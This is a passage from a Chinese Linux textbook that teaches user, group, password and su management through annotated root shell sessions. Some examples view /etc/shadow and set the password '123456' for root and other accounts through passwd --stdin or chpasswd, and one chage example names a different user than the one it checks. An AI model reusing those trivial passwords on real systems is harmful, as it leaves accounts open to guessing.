[root@oldboy ~]# tail -1 /etc/shadow      #<==同时还会在shadow里记录用户组的信息。

alex:!!:17652:0:99999:7:::

[root@oldboy ~]# tail -1 /etc/gshadow      #<==同时还会在gshadow里记录用户组的信息。

alex:!::




 
在这个例子中，我们添加了一个名为alex的系统用户，并且在“/home/”目录下自动生成了名字为alex的家目录，并且权限是700。在/etc/passwd文件里，从对应alex的用户行还可以看到UID和GID以及登录解释器等设置信息，前面已经介绍过这方面的知识了，因此，对于这么多的默认设置，我们并不感到奇怪。
 
至此可以得出一个结论，使用useradd添加用户时，涉及的核心文件包括/etc/passwd、/etc/shadow、/etc/group和/etc/gshadow，其他文件还有/etc/login.defs、/etc/default/useradd，涉及的目录包括/etc/skel、/home。
 
范例14-3：useradd的-g、-u参数的使用示例。
 
创建用户zuma，属于指定组root，UID为888，实现步骤具体如下：
 


[root@oldboy ~]# useradd zuma -u 888 -g root #<==创建用户zuma，属于指定组root，UID为888。

[root@oldboy ~]# id zuma                    #<==查看生效信息。

uid=888（zuma）gid=0（root）groups=0（root）




 
范例14-4：useradd的-M、-s参数的使用示例。
 
创建一个虚拟用户mysql，禁止其登录，且不创建家目录，实现步骤具体如下：
 


[root@oldboy ~]# useradd mysql -s /sbin/nologin -M

[root@oldboy ~]# tail -1 /etc/passwd

mysql:x:889:889::/home/mysql:/sbin/nologin




 
[image: ]说明：
 
这个例子比较具有代表性，在生产场景部署网络服务时经常会用到。
 
范例14-5：useradd的-e参数的使用示例。
 
在本例中，我们主要是练习下-e参数的使用，这个参数的作用是设定用户到什么时候过期。在生产场景中，员工离职，或者一些临时有需求的用户，或者对时间有限制的一些用户，可能会需要这个选项，下面的示例代码会实现添加用户pig的操作，用户有效期1个月，实现步骤具体如下：
 


[root@oldboy ~]# date +%F  #<==查看系统当前日期

2018-05-01

[root@oldboy ~]# useradd pig -e "2018/06/01" #<==设置用户过期时间，一个月后过期。

[root@oldboy ~]# chage -l pig                #<==查看过期的设置结果。

Last password change                    : May 01, 2018

Password expires                         : never

Password inactive                         : never

Account expires                         : Jun 01, 2018

     #<==显示2018-06-01过期，Jun是6月。

Minimum number of days between password change          : 0

Maximum number of days between password change          : 99999

Number of days of warning before password expires     : 7




 
这样当日期过了2018年6月1日之后，再使用pig登录就会出现如下无法登录的提示，或者直接就是无法连接：
 


Your account has expired; please contact your system administrator




 
[image: ]提示：不同的Linux系统及版本用户过期时间可能有1～2天的误差，读者可以自行测试了解。
 
范例14-6：useradd-c、-u、-G、-s、-d-m多个参数组合的示例。
 
描述如下：添加用户oldboyedu，并设置其用户注释信息为good training，UID指定为806，分别属于用户组root、oldboy、sa的成员，其Shell解释器类型为/bin/sh，设置家目录为/home/luffy。实际操作步骤及结果具体如下：
 


[root@oldboy ~]# useradd -c "good training" -u 806 -G root,oldboy,sa -s /bin/sh -d /home/luffy oldboyedu

[root@oldboy ~]# tail -1 /etc/passwd  #<==passwd里增加了oldboyedu用户记录。

oldboyedu:x:806:806:good training:/home/luffy:/bin/sh #<==各个字段的内容均符合预期。

[root@oldboy ~]# id oldboyedu         #<==查询UID和GID 以及所归属的用户组。

uid=806（oldboyedu）gid=806（oldboyedu）groups=806（oldboyedu）,0（root）,501（sa）,891（oldboy）

[root@oldboy ~]# ls -ld /home/luffy   #<==家目录。

drwx------. 2 oldboyedu oldboyedu 4096 May  1 12:37 /home/luffy




 
14.3.4　useradd-D参数的特殊用法
 
useradd加-D参数的作用是改变配置文件/etc/default/useradd文件的默认设置值。
 
当然，这样的修改操作也可以通过命令编辑器来实现，比如，直接修改/etc/default/useradd文件更新预设值。
 
为了方便读者阅读查看，下面依然用表格的方式将useradd加-D选项后，命令后面可使用的参数选项展现给大家，如表14-9所示。
 
表14-9　useradd-D后可接的参数表
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范例14-7：设置添加用户时的默认解释器类型为/sbin/nologin。
 
完整的操作步骤具体如下：
 


[root@oldboy ~]# cat /etc/shells #<==查看当前系统支持的Shell解释器种类。

/bin/sh

/bin/bash

/sbin/nologin

/bin/dash

/bin/tcsh

/bin/csh

[root@oldboy ~]# grep -w SHELL /etc/default/useradd  #<==查看/etc/default/user-add解释器配置。

SHELL=/bin/bash

[root@oldboy ~]# useradd -D -s /sbin/nologin         #<==修改默认解释器为/sbin/ nologin。

[root@oldboy ~]# grep -w SHELL /etc/default/useradd   #<==查看修改结果。

SHELL=/sbin/nologin

[root@oldboy ~]# useradd newuser                  #<==此时不加参数添加用户。

[root@oldboy ~]# grep newuser /etc/passwd

newuser:x:1001:1001::/home/newuser:/sbin/nologin      #<==解释器默认就是/sbin/nologin了。

[root@oldboy ~]# useradd -D -s /bin/bash             #<==测试完毕后改回默认状态，以防止后面的测试出错。

[root@oldboy ~]# grep -w SHELL /etc/default/useradd 

SHELL=/bin/bash




 
关于这个-D参数的讲解就到这里。如果还不会使用，那么可直接修改/etc/default/useradd参数配置文件；Linux系统中解决问题的方式是很灵活的，读者可以选择简单、方便、适合自己掌握的方式，但是思路必须要清晰。
14.4　用户信息修改命令usermod
 
usermod命令的功能非常强大，但在生产场景中其的使用频率不是很多，它不仅能更改用户的解释器类型、UID、家目录等，还能更改用户的有效期、登录名等很多与用户有关的信息。
 
14.4.1　usermod命令语法和常用参数
 


usermod  [options]  [login]

usermod  [选项]    [用户名]




 
usermod的作用是修改用户，而useradd的作用是添加用户，本质上都是对用户进行操作，因此，这两个命令大部分的参数作用都是一样的，只不过命令不同而已，功能上的区别就是一个是添加，一个是修改。
 
为了方便读者查看，表14-10将usermod可使用的参数选项展现给了大家。
 
表14-10　usermod常用参数说明
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14.4.2　usermod命令实践
 
范例14-8：usermod命令-c、-u、-G、-s、-d多参数组合的示例。
 
这里对useradd实践的范例14-6中创建的用户进行修改。原题描述如下，添加用户oldboyedu，并设置其用户注释信息为good training，UID指定为806，归属为用户组root、oldboy、sa成员，其Shell解释器类型为/bin/sh，设置家目录为/home/luffy。
 
现在修改oldboyedu用户属性，将注释说明改为good，UID改为999，所属的附加组改为sa，同时禁止其登录，家目录改为/home/oldboyedu。实际操作步骤及结果具体如下：
 


[root@oldboy ~]# usermod -c "good" -u 999 -G sa -s /sbin/nologin -d /home/oldboyedu oldboyedu

#<==修改用户信息的命令，将说明改为good，UID改为999，所属的附加组改为sa，禁止登录，家目录改为/home/oldboyedu。

[root@oldboy ~]# tail -1 /etc/passwd

oldboyedu:x:999:806:good:/home/oldboyedu:/sbin/nologin #<==符合修改后的预期。

[root@oldboy ~]# id oldboyedu

uid=999（oldboyedu）gid=806（oldboyedu）groups=806（oldboyedu）,501（sa）

     #<==UID和附加组也修改了。




 
范例14-9：将前文的pig用户由原来是2018年6月1日过期，调整为2019年5月1日过期。
 


[root@oldboy ~]# usermod -e "2019/05/01" pig   

[root@oldboy ~]# chage -l pig

Last password change                         : May 01, 2018

Password expires                         : never

Password inactive                         : never

Account expires                              : May 01, 2019

     #<==过期日期显示为2019/05/01。

Minimum number of days between password change          : 0

Maximum number of days between password change          : 99999

Number of days of warning before password expires     : 7




14.5　删除用户命令userdel
 
从userdel命令的名称就可以知道，它的功能就是删除用户及用户相关的信息。
 
14.5.1　userdel命令语法和常用参数
 


userdel  [options]  [login]

userdel  [选项]      [用户名] 




 
userdel的参数较少，使用频率也不高，表14-11针对userdel命令的参数选项进行了说明。
 
表14-11　userdel命令的参数选项及说明
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14.5.2　userdel命令实践
 
在企业场景中，如果不能确认用户相关的目录有没有重要数据，就不能使用-r。
 
以下是删除经验小结。
 
·vi/etc/passwd，然后注释掉用户，观察1个月，这样若出问题还可以还原。相当于进行操作前备份。

·将登录Shell修改为/sbin/nologin。
 
[image: ]提示：只要是修改和删除，都要小心谨慎！
 
范例14-10：删除用户alex。
 


[root@oldboy ~]# grep alex /etc/passwd

alex:x:506:508::/home/alex:/bin/bash

[root@oldboy ~]# userdel alex            #<==该方法仅用于删除用户alex本身，但不删除其家目录及相关文件。

[root@oldboy ~]# grep alex /etc/passwd #<==/etc/passwd中已经不存在了。

[root@oldboy ~]# ls -ld /home/alex/    #<==但/home/alex家目录仍然存在。

drwx------. 2 506 508 4096 May  1 11:27 /home/alex/




 
使用“userdel用户名”这样的方法删除用户时，只会删除用户本身，其家目录及用户的相关文件并不会被删除。一般在生产场景中，如果无法确定被删用户的家目录等是否有用，或者有不规范的用户已在家目录下存在业务脚本或程序的时候，就不要使用“userdel-r用户名”这样危险的命令了，而是直接使用“userdel用户名”命令删除即可。
 
当然，我们还可以直接使用vi编辑/etc/passwd，找到要处理的用户，先注释一段时间，确认真的没问题了，然后再清理其家目录，注释的作用与userdel命令删除的效果一样，就是实现了被注释的用户无法登录（注释掉用户当前行即可）的功能，注释的作用有些类似于回收站，一旦发现问题，可以及时进行恢复工作。当然对于大门户上千台服务器大规模运维的情况，可以使用ldap等服务实现账户统一认证登录，批量地进行添加、删除和管理，此部分内容请参见老男孩教育针对门户运维的解决方案的相关文档或课程，因为这些内容超越了本书讲解的范围，所以这里不再赘述。
 
范例14-11：删除oldboyedu用户及所有与用户相关的文件目录。
 
如果在userdel命令后加上了参数-r，则表示在删除该用户的同时，将用户的家目录及本地邮件存储的目录和文件一并删除。因此，一定要谨慎使用。具体实现代码如下：
 


[root@oldboy ~]# touch /home/zuma/test.txt  #<==在zuma家目录下建立测试文件。

[root@oldboy ~]# ls -l /home/zuma/test.txt  #<==查看建立的测试文件。

-rw-r--r--. 1 root root 0 May  1 17:40 /home/zuma/test.txt

[root@oldboy ~]# userdel -r zuma            #<==带-r参数删除用户。

[root@oldboy ~]# ls -l /home/zuma/test.txt

ls: cannot access /home/zuma/test.txt: No such file or directory

     #<==测试文件test.txt也被删除了。




 
[image: ]提示：处于登录状态中的用户无法被删除。
 
在生产场景中，请不要轻易使用-r参数，这会在删除用户的同时删除用户家目录下的所有文件和家目录。如果非要删除家目录，那么当用户家目录下包含了重要的文件时，建议在删除之前先进行备份。操作前进行备份在任何场合都是一个优秀运维人员应该具备的好习惯。
14.6　添加用户组命令groupadd
 
前文讲解了添加、修改、删除用户的相关命令，本节我们就来熟悉下添加用户组的命令groupadd。在groupadd命令后面指定用户组名执行就可以建立新的用户组了。但groupadd命令的用途不大，因为useradd命令在创建用户的同时会创建与用户同名的用户组，正常情况下都可以满足创建用户组的需求。
 
[image: ]提示：groupadd命令的使用非常简单，但在生产环境中使用得不多，因此，会简单应用即可。
 
14.6.1　groupadd命令语法和常用参数
 
groupadd命令的语法具体如下：
 


groupadd  [options  ]  [group]

groupadd  [选项]      [用户组]




 
为了方便读者阅读查看相关参数，表14-12将groupadd参数选项展现给了大家。
 
表14-12　groupadd命令的常见参数及说明
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14.6.2　groupadd命令实例
 
在生产环境中，增加用户组的用法一般来说都是非常简单的，比如下面的示例是添加GID为802的用户组zumahome。实现代码具体如下：
 


[root@oldboy ~]# groupadd -g 802 zumahome #<==生产场景没有必须要指定GID的需求，仅练习用。

[root@oldboy ~]# tail -1 /etc/group

zumahome:x:802:




 
[image: ]提示：groupadd的命令在工作场景中的应用绝大多数情况下最多仅限于此，普通读者掌握本书的介绍即可。
14.7　删除用户组命令groupdel
 
groupdel命令用于删除指定的用户组，此命令的使用频率极低，了解一下即可。
 
groupdel命令语法和使用范例
 
groupdel命令的使用语法为：
 


groupdel   [group]

groupdel   [用户组] 




 
[image: ]说明：
 
groupdel不能删除还有用户归属的主用户组。
 
范例14-12：删除zumahome用户组。
 


[root@oldboy ~]# grep -w zumahome /etc/group

zumahome:x:802:

[root@oldboy ~]# groupdel zumahome          #<==删除zumahome用户组命令。

[root@oldboy ~]# grep -w zumahome /etc/group     #<==找不到zumahome用户组了。

[root@oldboy ~]# groupdel root               #<==删除root用户组失败，因为组内的root用户还存在。

groupdel: cannot remove the primary group of user 'root'




14.8　修改用户密码命令passwd
 
passwd命令可以修改用户密码及密码过期时间等内容，是工作中很常用的命令。普通用户和超级用户都可以运行passwd命令，但普通用户只能更改自身的用户密码，超级用户root则可以设置或修改所有用户的密码。
 
14.8.1　passwd命令语法和常用参数
 
passwd命令的使用语法为：
 


passwd  [option]  [username]

passwd  [选项]     [用户名]




 
passwd命令的功能很强大，参数也很多，但常用的参数并不多，表14-13针对passwd命令的参数选项进行了说明。
 
表14-13　passwd命令常见参数及说明
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 [image: ]

 
除了上述说明，还要强调以下两点。
 
·root用户可以修改任何用户的密码，普通用户只能修改自身的密码。

·root用户修改密码时，如果不符合系统密码规则，则会给出警告信息，但密码设置仍然有效。而普通用户修改密码时，如果使用的是弱密码，则会给出告警信息，且修改无效。
 
14.8.2　passwd命令使用范例
 
范例14-13：修改用户密码的示例。
 
（1）修改自身用户密码
 
当执行passwd不带任何参数和内容时，表示修改当前执行命令用户自身的密码。具体代码如下：
 


[root@oldboy ~]# passwd #<==修改当前用户，root自身的密码。

Changing password for user root.

New password:           #<==输入密码123456，系统不会输出用户输入的密码。

BAD PASSWORD: it is too simplistic/systematic  #<==如果密码比较简单，则会给出警告信息，但不会阻止。

BAD PASSWORD: is too simple

Retype new password:    #<==再次输入密码123456。

passwd: all authentication tokens updated successfully. #<==但还是设置成功了。




 
（2）设置及修改普通用户的密码
 


[root@oldboy ~]# useradd oldgirl     #<==添加oldgirl用户，即使已存在也没关系。

[root@oldboy ~]# passwd oldgirl     #<==为oldgirl用户添加密码。

Changing password for user oldgirl.

New password:                  #<==输入密码123456。

BAD PASSWORD: The password is shorter than 8 characters

Retype new password:           #<==再次输入密码123456。

passwd: all authentication tokens updated successfully.     #<==设置成功。

[root@oldboy ~]# su - oldgirl     #<==su命令可以切换用户身份，后面会讲解。

[oldgirl@oldboy ~]$ whoami     #<==当前用户为oldgirl。

oldgirl

[oldgirl@oldboy ~]$ passwd     #<==修改用户自身密码。

Changing password for user oldgirl.

Changing password for oldgirl.

（current）UNIX password:          #<==先输入用户当前密码。

New password:               #<==输入新密码。

BAD PASSWORD: it is too short     #<==如果密码太短则不允许设置（root用户修改密码只是警告）

New password: 

BAD PASSWORD: it is too short

New password:                  #<==必须设置足够复杂的密码。

Retype new password:           #<==重复设置。

passwd: all authentication tokens updated successfully.




 
范例14-14：显示账号密码信息的示例。
 


[oldgirl@oldboy ~]$ passwd -S oldgirl

Only root can do that. #<==提示这个参数只能root执行。

[root@oldboy ~]# passwd -S oldgirl

oldgirl PS 2018-05-01 0 99999 7 -1 （Password set, SHA512 crypt.）




 
范例14-15：一条命令非人工交互设置密码（生产使用技巧）。
 


[root@oldboy ~]# echo "123456"|passwd --stdin oldgirl  #<==--stdin参数能从标准输入中获取密码。

Changing password for user oldgirl.

passwd: all authentication tokens updated successfully.




 
[image: ]提示：这个命令在工作中批量设置密码时很有用。
 
范例14-16：要求oldgirl用户7天之内不能更改密码，60天以后必须修改密码，过期前10天通知用户，过期后30天禁止用户登录。
 
解答：这道题的目的是测试passwd多个参数的用法，读者了解一下即可。
 


[root@oldboy ~]# passwd -n 7 -x 60 -w 10 -i 30 oldgirl  #<==参数的含义详见前文表14-13。

Adjusting aging data for user oldgirl.

passwd: Success

[root@oldboy ~]# chage -l oldgirl                  #<==-l参数用于查看账户的信息。

Last password change               : May 01, 2018   

#<==最后一次密码变化时间为2018-05-01。

Password expires                    : Jun 30, 2018

#<==密码过期时间为60天，即从2018-05-01到2018-06-30。

Password inactive                    : Jul 30, 2018   

#<==密码停权时间，即密码过期30天之后停权， -i选项可控制该行。

Account expires                    : never  #<==账号过期时间。

Minimum number of days between password change     : 7      #<==-n选项可控制该行。

Maximum number of days between password change     : 60     #<==-x选项可控制该行。

Number of days of warning before password expires: 10     #<==-w选项可控制该行。




 
此外，关于passwd的特殊权限请参见权限章节。
 
14.8.3　企业场景下用户及密码管理思路
 
·用户密码要足够复杂，最好是8位以上字母（含大小写）、数字、特殊字符的组合。

·较大的企业用户和密码可以统一管理（采用微软活动目录或openldap开源工具）。

·动态密码：动态口令，需要时登录到动态口令系统中，即时申请获得密码，但如果若干时间内不操作服务器，密码则会失效。
14.9　批量更新用户的密码命令chpasswd
 
chpasswd命令可从标准输入中读取一定格式的用户名、密码来批量更新用户的密码。这个格式为“用户名：密码”，注意，用户名必须事先真实存在，否则，该命令无法为一个不存在的用户设置密码。
 
范例14-17：批量修改密码的实践。
 
解答：要确保修改密码的用户存在，这里是oldboy和oldgirl。
 


[root@oldboy ~]# id oldboy  #<==确认要修改密码的oldboy用户是否存在。

uid=1002（oldboy）gid=1002（oldboy）groups=1002（oldboy）

[root@oldboy ~]# id oldgirl  #<==确认要修改密码的oldgirl用户是否存在。

uid=501（oldgirl）gid=502（incahome）groups=502（incahome）




 
方法1：命令行直接输入并执行。
 


[root@oldboy ~]# chpasswd #<==在命令行输入chpasswd，回车。

root:123456             #<==格式为“用户名:密码”，用户必须事先真实存在才行。

oldboy:123456             #<==一行一个。

oldgirl:123456

[root@oldboy ~]#             #<==在新的空行输入Ctrl+D结束输入。




 
方法2：将用户和密码字符串放到文件里执行。
 


[root@oldboy ~]# cat user.txt     #<==用户及密码字符串文件，注意格式。

root:123456               #<==格式为“用户名:密码”，用户必须事先真实存在才行，且一行一个。

oldboy:123456

oldgirl:123456

[root@oldboy ~]# chpasswd <user.txt     #<==利用输入重定向一次性为所有用户设置预先指定的密码。




14.10　修改用户密码有效期命令chage
 
14.10.1　chage命令语法和常用参数
 
chage命令用于查看或修改用户密码的有效期，有些参数的功能与passwd相同。
 
chage命令语法格式如下：
 


chage  [option]  [login]

chage  [选项]     [用户名] 




 
表14-14针对chage命令的参数选项进行了说明。
 
表14-14　chage命令的参数选项及说明
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14.10.2　chage命令使用范例
 
范例14-18：创建新用户range，要求该用户在7天之内不能更改密码，60天以后必须修改密码，过期前10天通知用户，过期30天之后禁止用户登录。
 
这个案例的前面已经用passwd实现过了，本范例再使用chage实现同样的功能，命令如下：
 


[root@oldboy ~]# useradd range #<==添加新用户range。

[root@oldboy ~]# chage -m7 -M60 -W10 -I30 oldboy #<==使用chage按题意要求进行授权。

[root@oldboy ~]# chage -l range                 #<==-l参数用于查看账户的信息。

Last password change               : May 01, 2018   

#<==最后一次密码变化时间为2018-05-01，-d选项可控制该行。

Password expires                    : Jun 30, 2018

#<==密码过期时间为60天，即从2018-05-01到2018-06-30，该行受-M参数影响。

Password inactive                    : Jul 30, 2018   

#<==密码停权时间，即密码过期30天后停权，-I选项可控制该行。

Account expires                          : never #<==账号过期时间，-E选项可控制该行。

Minimum number of days between password change       : 7   #<==-m选项可控制该行。

Maximum number of days between password change       : 60  #<==-M选项可控制该行。

Number of days of warning before password expires : 10  #<==-W选项可控制该行。




 
下面就来测试-E参数的使用，代码如下：
 


[root@oldboy ~]# chage -E 2018-12-31 range #<==测试-E参数的使用。

[root@oldboy ~]# chage -l range|grep "Account expires"

Account expires                      : Dec 31, 2018  #<==用户有效期变成了设定的日期。

[root@oldboy ~]# usermod -e "2019/12/31" range #<==usermod也可以更改用户有效期。

[root@oldboy ~]# chage -l range|grep "Account expires"

Account expires                         : Dec 31, 2019




14.11　用户查询相关命令
 
本节主要介绍在用户管理中，查询用户的几种常见工具id、finger、users、w、who、last、lastlog、groups的用法。
 
14.11.1　id命令
 
id命令通常用来查询用户和组信息以及对应的UID、GID等信息，它的用法非常简单，示例代码如下：
 


[root@oldboy ~]# id oldboy #<==查看oldboy的用户及组相关的信息。

uid=1002（oldboy）gid=1002（oldboy）groups=1002（oldboy）#<==用户和组信息以及对应的UID、GID。

[root@oldboy ~]# id -u oldboy  #<==只查看用户UID。

1002

[root@oldboy ~]# id -g oldboy  #<==只查看用户组GID。

1002

[root@oldboy ~]# id -un oldboy  #<==只查看用户名。

oldboy

[root@oldboy ~]# id -gn oldboy  #<==只查看用户组名。

oldboy




 
14.11.2　whoami、who、w、last、lastlog命令
 
whoami命令可用于查看当前登录的用户，w命令的作用是显示已经登录的用户，并且展示他都做了什么的信息。而last、lastlog命令可以查看用户更详细的登录信息，不同命令的侧重点略有差别，大家可以仔细对比下。示例代码具体如下：
 


[root@oldboy ~]# whoami #<==查看当前登录的用户，比较常用。

root

[root@oldboy ~]# w

#<==显示已经登录的用户，并且展示他都做了什么的信息。查看的信息与/var/run/utmp文件有关，比较常用。

 21:34:56 up 5 days, 21:31,  3 users,  load average: 0.00, 0.00, 0.00

USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT

root     pts/0    10.0.0.1         09:21    0.00s  0.30s  0.07s w

root     pts/1    10.0.0.1         21:34    8.00s  0.04s  0.00s -bash

root     pts/2    10.0.0.1         21:34   14.00s  0.04s  0.00s -bash




 
以下是上述w命令输出结果的格式说明。
 
·上面第1行的输出依次显示了当前的系统时间、系统从启动到现在已经运行的时间、登录到系统中的用户数和系统平均负载。平均负载是指在1分钟、5分钟、15分钟之内系统的负载状况。

·USER：表示登录系统的用户。

·TTY：表示用户使用的TTY名称。

·FROM：表示用户从哪里登录进来，一般是显示远程登录主机的IP地址或者主机名。

·LOGIN@：用户登录的日期和时间。

·IDLE：显示终端空闲时间。

·JCPU：表示该终端上的所有进程及子进程使用系统的总时间。

·PCPU：当前活动进程使用的系统时间。

·WHAT：当前用户执行的进程名称和选项。
 


[root@oldboy ~]# who   

#<==显示哪些用户正在登录，登录的终端及登录时间，来源主机，显示的信息比w少，不常用。

root     pts/0        May  1 09:21 （10.0.0.1）

root     pts/1        May  1 21:34 （10.0.0.1）

root     pts/2        May  1 21:34 （10.0.0.1）




 
以下是who命令的输出格式及说明：
 


名称 [状态] 线路 时间 [活动] [进程标识] （主机名）




 
其中各项参数的说明具体如下。
 
·名称：用户的登录名。

·状态：表明线路对用户是否都是可写的。

·线路：类似于pts/1、pts/2等，此线路标识在/dev目录中可以找到。

·时间：用户登录系统的时间。

·活动：某个用户在自己的线路上最后一次活动发生以来到现在的时间。如果此项是个“.”，就表示一分钟内的线路活动；如果线路保持静止已经超过24小时，或者自从系统启动以来还没有被使用过，那么此项标记为“old”。

·进程标识：用户登录Shell的进程id。

·主机名：登录到Linux系统上的客户端机器标识。
 


[root@oldboy ~]# last   

#<==显示已登录的用户列表及登录时间等，查看的信息与/var/log/wtmp及/var/log/btmp两个文件有关。

root     pts/2        10.0.0.1         Tue May  1 21:34   still logged in   

root     pts/1        10.0.0.1         Tue May  1 21:34   still logged in   

...省略部分信息...

root     pts/0        10.0.0.1         Sat Mar 31 14:33 - 18:01  （03:28）   

root     tty1                          Sat Mar 31 13:17 - 13:17  （00:00）   

root     pts/0        10.0.0.1         Sat Mar 31 13:02 - 14:33  （01:30）   

reboot   system boot  2.6.32-696.el6.x Sat Mar 31 12:36 - 21:36 （31+09:00） 

root     pts/0        10.0.0.1         Wed Mar 14 18:40 - crash （16+17:55） 

...省略部分信息...   

root     pts/0        10.0.0.1         Sat Mar 10 12:26 - 12:28  （00:02）   

reboot   system boot  2.6.32-696.el6.x Sat Mar 10 12:26 - 21:36 （52+09:10） 

root     tty1                          Thu Mar  8 10:10 - 10:10  （00:00）   

reboot   system boot  2.6.32-696.el6.x Thu Mar  8 10:07 - 21:36 （54+11:29） 

wtmp begins Thu Mar  8 10:07:21 2018

[root@oldboy ~]# lastlog 

#<==报告最近的所有系统用户的登录信息，查看的信息与/var/log/lastlog日志有关。

Username         Port     From             Latest

root             pts/2    10.0.0.1         Tue May  1 21:34:29 +0800 2018

bin                                        **Never logged in**

daemon                                     **Never logged in**

adm                                        **Never logged in**

...省略部分信息...nobody                                    

dbus                                       **Never logged in**

vcsa                                       **Never logged in**

abrt                                       **Never logged in**

haldaemon                                  **Never logged in**

...省略部分信息...

oldboy                                     **Never logged in**

range                                      **Never logged in**




14.12　Linux用户身份切换命令su
 
在Linux系统中，由于超级用户root的权限太大了，如果管理不好，就会带来严重的系统安全隐患。因此在工作场景中，只在必要时才使用超级用户权限。一般临时性工作处理，都是以普通用户的身份完成的，那么，当普通用户需要超级用户的权限时，又是如何进行切换管理的呢？这就不得不提到两个重要的用户身份切换命令su和sudo了。下面就来讲解这两个命令是如何通过用户切换来达到系统管理目的的。
 
14.12.1　su命令介绍
 
简单地说，su命令就是切换用户身份的命令。比如，以普通用户oldboy登录到系统之后，当在系统中执行useradd添加用户时，会发现oldboy用户没有这个权限，这个权限只能由root权限来执行。解决办法之一就是退出oldboy用户，重新以root用户的身份登录。方法二是直接在oldboy用户下，使用su命令来切换到root用户下进行用户添加的工作，等工作完成后再退出root用户。毫无疑问，上面这两个方法比较起来，通过su命令切换是一种比较好的办法。
 
su命令可以在用户之间进行切换，超级权限用户root向普通用户切换不需要密码验证（这就是超级权限所在），其他普通用户之间或者从普通用户切换到root，都需要切换用户的密码验证。
 
14.12.2　su命令用法
 
【语法格式】
 


su  [option]  [user]

su  [选项]     [用户名] 




 
[image: ]说明：
 
1）若命令后面的用户名省略了，则默认切换为root用户。
 
2）从root用户切换到普通用户时，不需要任何密码，从普通用户切换到root用户时，则需要输入root密码。
 
【选项说明】
 
为了方便读者查看，表14-15展示了su命令的常用参数选项列表。
 
表14-15　su命令的参数选项
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在生产场景中，su命令比较常用的参数为“-”和“-c”，其他的参数很少用到。如果读者有兴趣，可执行man su进行查看。
 
14.12.3　su命令的使用范例
 
若不添加任何参数执行su命令，则表示要切换到root用户，但是这样执行，会遇到一些问题。因为虽然是切换到root用户了，但并没有改变root用户登录后的环境，有些登录的环境设置还是登录前的用户的。生产场景规范的操作方法是“su-”。具体实现请参见下面的实例。
 
范例14-19：由普通用户oldboy切换到root用户。
 


[oldboy@oldboy ~]$ whoami   #<==当前登录的用户为普通用户oldboy。

oldboy

[oldboy@oldboy ~]$ su  root #<==切换用户，若切换的用户为root，则可以省略不写。

Password:              #<==这里当然就是root用户的密码了。

[root@oldboy oldboy]# env   #<==查看当前登录用户root的环境变量。

USER=oldboy

MAIL=/var/spool/mail/oldboy

PWD=/home/oldboy #<==已经登录到root了，为什么家目录还是/home/oldboy呢？

LOGNAME=oldboy

...省略部分无关内容...




 
细心的读者应该已经看到了，如果使用su而不加上“-”这个参数，那么切换前的用户的环境信息还会存在，这会引起很多麻烦，甚至还会出现意想不到的结果。因此，切换用户时，最好是“su-用户名”。这是生产场景中标准的切换用户的操作方法。
 
退出到普通用户重新测试，命令如下：
 


[root@oldboy oldboy]# exit

[oldboy@oldboy ~]$ su – root #<==第二种切换用户的方式，使用参数“-”，root可省略。

Password: 

[root@oldboy ~]# env|egrep "USER|MAIL|PWD|LOGNAME"  #<==再次查看环境变量。

USER=root

MAIL=/var/spool/mail/root

PWD=/root

LOGNAME=root




 
这回环境变量的内容都已经切换到root下了，这里需要提醒一下的是，不只是切换到root，切换到其他用户也是一样。
 
从上面的范例可以得出如下结论。
 
·“su用户名”虽然能够切换到对应用户，但是登录后的环境变量信息有些还是切换前用户的环境变量信息。

·“su-用户名”不但能切换到相应的用户，还能将登录后的环境变量一并切换，这是标准规范的操作方法。
 
范例14-20：oldboy用户使用root身份执行命令。
 


[oldboy@oldboy ~]$ ls -l /root #<==直接在普通用户oldboy下执行命令是不允许的。

ls: /root: Permission denied

[oldboy@oldboy ~]$ su - -c "ls -l /root"  #<==这是su的参数组合，表示切换到root用户，并且改变到root环境，然后列出root家目录的文件，最后退出root用户。

Password: #<==在这里输入root的密码，注意，这与后文要讲的sudo是有区别的。

total 52

-rw------- 1 root root   899 Oct 22 23:32 anaconda-ks.cfg

-rw-r--r-- 1 root root 23789 Oct 22 23:32 install.log

-rw-r--r-- 1 root root  3609 Oct 22 23:32 install.log.syslog




 
范例14-21：如何让系统在每次开机时自动以普通用户身份启动指定服务脚本？
 


[root@oldboy ~]# tail -1 /etc/rc.local       #<==在开机启动文件/etc/rc.local中写入启动命令。

su - oldboy -c '/bin/sh /service/scripts/deploy.sh'  #<==以普通用户身份执行脚本，但并不是在用户的下面。




 
[image: ]提示：除此之外还有很多方法，例如，可以进入到普通用户下再执行该脚本。
 
通过普通用户运行服务是一个很好的提升系统安全性的办法，在生产环境中，大多数服务都可以通过普通用户启动（不使用特权端口），而不用root用户启动。这样就可以使系统的安全性又提高一个等级，同时使用普通户管理就可以了，管理者不需要具有root权限。
 
14.12.4　su命令总结
 
·普通用户切换到root用户，可使用su-或su-root，但必须输入root密码才能完成切换。

·root用户切换到普通用户，可使用“su-普通用户名”的写法。不需要输入任何密码就能完成切换。在CentOS5.X系统中，切换到普通用户后，在执行一些命令如ifconfig时，可能会遭遇环境变量PATH路径问题，也会因此找不到某些系统命令（一般是/sbin，/usr/sbin等下面的命令），这时就需要使用全路径执行或者调整配置普通用户的PATH变量内容，CentOS6和CentOS7不存在这方面的问题。

·如果仅希望在某用户下执行命令，而不直接切换到该用户下操作，则可以使用su-用户名-c“命令”的方式。
 
14.12.5　su命令的优缺点
 
毫无疑问，切换用户身份的su命令为系统管理员管理Linux系统带来了很多方便，将用户身份切换到root下，可以完成各种系统管理工作。任何一个普通用户只要知道了root用户的密码，就都能以普通用户的身份切换到root来完成本来无法完成的系统管理的工作。
 
但是，这样通过su命令切换到root的操作也带来了很大的安全管理问题；比如系统有8个普通用户，都可以切换到root身份进行系统管理，甚至还可以改掉root的密码，让其他的普通用户无法再实现系统管理，还有，这么多用户中，有任何一人对系统操作存在重大失误，都可能导致整个系统崩溃或数据损失。这样的非集权式管理，在一定程度上对系统的安全性造成了较大的威胁。在工作中几乎有一半的问题是来自于内部。
 
所以，使用su命令切换身份对于多个系统管理员共同管理的场合，并不是最好的选择，笔者的意见是，如果是一般的中小公司，不超过3个管理员，那么为了管理方便，使用su来共同管理还是可以接受的。
 
我们既希望超级用户root密码掌握在少数或唯一的管理员手中，又希望多个系统管理员能够完成更多更复杂的系统管理的工作。那么，如何解决多个系统管理员都能管理系统而又不让超级权限泛滥的需求呢？这就需要利用sudo命令替代或结合su命令来完成这样苛刻且必要的管理需求。
14.13　visudo：编辑sudoers文件的工具
 
14.13.1　visudo命令介绍
 
